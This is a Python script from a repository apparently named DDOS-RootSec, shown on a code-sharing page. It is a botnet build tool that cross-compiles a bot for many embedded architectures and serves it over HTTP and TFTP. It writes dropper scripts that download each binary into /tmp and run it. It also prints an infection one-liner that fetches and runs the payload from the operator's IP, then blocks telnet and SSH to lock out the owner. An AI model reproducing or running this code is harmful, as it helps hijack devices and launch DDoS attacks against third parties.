Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/cc-rep.430e26.py
5038 views
1
import subprocess, sys
2
3
if len(sys.argv[2]) != 0:
4
ip = sys.argv[2]
5
else:
6
print("\x1b[0;31mIncorrect Usage!")
7
print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOT.C> <IP> \x1b[0m")
8
9
10
bot = sys.argv[1]
11
sys.stdout.write("\x1b]2;Ecliptic Auto-Torlus\x07")
12
yourafag = raw_input("Get arch's? Y/n:")
13
if yourafag.lower() == "y":
14
get_arch = True
15
else:
16
get_arch = False
17
18
compileas = ["[M]", #mips
19
"[MS]", #mipsel
20
"[SH]", #sh4
21
"[x86]", #x86
22
"[A6]", #Armv6l
23
"[I6]", #i686
24
"[PPC]", #ppc
25
"[I5]", #i586
26
"[M68]", #m68k
27
#"[S]" #sparc
28
#"[A4]", #armv4l
29
"[A5]", #armv5l
30
"[PPC-440]", #powerpc-440fp
31
#"[A4-EB]", #armv4eb
32
"[A4-TL]", #armv4tl
33
"[I4]", #i486
34
"[M64]"] #mips64
35
36
getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
37
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
38
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
39
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
40
'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
41
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
42
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
43
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
44
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
45
#'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
46
#'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
47
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
48
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2',
49
#'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv4eb.tar.bz2',
50
'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv4tl.tar.bz2',
51
'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-i486.tar.bz2',
52
'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-mips64.tar.bz2']
53
54
ccs = ["cross-compiler-mips",
55
"cross-compiler-mipsel",
56
"cross-compiler-sh4",
57
"cross-compiler-x86_64",
58
"cross-compiler-armv6l",
59
"cross-compiler-i686",
60
"cross-compiler-powerpc",
61
"cross-compiler-i586",
62
"cross-compiler-m68k",
63
#"cross-compiler-sparc",
64
#"cross-compiler-armv4l",
65
"cross-compiler-armv5l",
66
"cross-compiler-powerpc-440fp",
67
#"cross-compiler-armv4eb",
68
"cross-compiler-armv4tl",
69
"cross-compiler-i486",
70
"cross-compiler-mips64"]
71
72
def run(cmd):
73
subprocess.call(cmd, shell=True)
74
75
run("rm -rf /var/www/html/* /var/lib/tftpboot/*")
76
77
if get_arch == True:
78
run("rm -rf cross-compiler-*")
79
80
print("Downloading Architectures")
81
82
for arch in getarch:
83
run("wget " + arch + " --no-check-certificate >> /dev/null")
84
run("tar -xvf *tar.bz2")
85
run("rm -rf *tar.bz2")
86
87
print("Cross Compilers Downloaded...")
88
89
num = 0
90
for cc in ccs:
91
arch = cc.split("-")[2]
92
run("./"+cc+"/bin/"+arch+"-gcc -static -lpthread -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
93
num += 1
94
95
print("Cross Compiling Done!")
96
print("Setting up your httpd and tftp")
97
98
run("yum install httpd -y")
99
run("service httpd start")
100
run("yum install xinetd tftp tftp-server -y")
101
102
run('''echo -e "# default: off
103
# description: The tftp server serves files using the trivial file transfer \
104
# protocol. The tftp protocol is often used to boot diskless \
105
# workstations, download configuration files to network-aware printers, \
106
# and to start the installation process for some operating systems.
107
service tftp
108
{
109
socket_type = dgram
110
protocol = udp
111
wait = yes
112
user = root
113
server = /usr/sbin/in.tftpd
114
server_args = -s -c /var/lib/tftpboot
115
disable = no
116
per_source = 11
117
cps = 100 2
118
flags = IPv4
119
}
120
" > /etc/xinetd.d/tftp''')
121
run("service xinetd start")
122
123
for i in compileas:
124
run("cp " + i + " /var/www/html")
125
run("mv " + i + " /var/lib/tftpboot")
126
127
run('echo -e "ulimit -n 712" > /var/lib/tftpboot/tftp1.sh')
128
run('echo -e "cp /bin/busybox /tmp/" > /var/lib/tftpboot/tftp1.sh')
129
run('echo -e "ulimit -n 712" > /var/lib/tftpboot/tftp2.sh')
130
131
for i in compileas:
132
run('echo -e "cd /tmp; wget http://' + ip + '/' + i + '; chmod 777 ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bins.sh')
133
run('echo -e "cd /tmp; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
134
run('echo -e "cd /tmp; tftp -r ' + ip + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
135
136
run("service xinetd restart")
137
run("service httpd restart")
138
run('echo -e "ulimit -n 99999" >> ~/.bashrc')
139
140
print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
141
print("\x1b[0;32mYour link: cd /tmp && rm -rf * && wget http://" + ip + "/bins.sh || curl -O http://" + ip + "/bins.sh && chmod 777 bins.sh && ./bins.sh && busybox tftp " + ip + " -c get tftp1.sh && chmod 777 tftp1.sh && ./tftp1.sh && busybox tftp -r tftp2.sh -g " + ip + " && chmod 777 tftp2.sh && ./tftp2.sh && rm -rf bins.sh tftp1.sh tftp2.sh && iptables -A INPUT -p tcp --dport 23 -j DROP;iptables -A INPUT -p tcp --dport 22 -j DROP;/sbin/iptables -A INPUT -p tcp --dport 23 -j DROP;/sbin/iptables -A INPUT -p tcp --dport 23 -j DROP && exit && echo -e '\x62\x69\x6e\x66\x61\x67\x74\r\n\x1b[0m")
142
print("\x1b[0;32mMade By: Eclipse")
143
144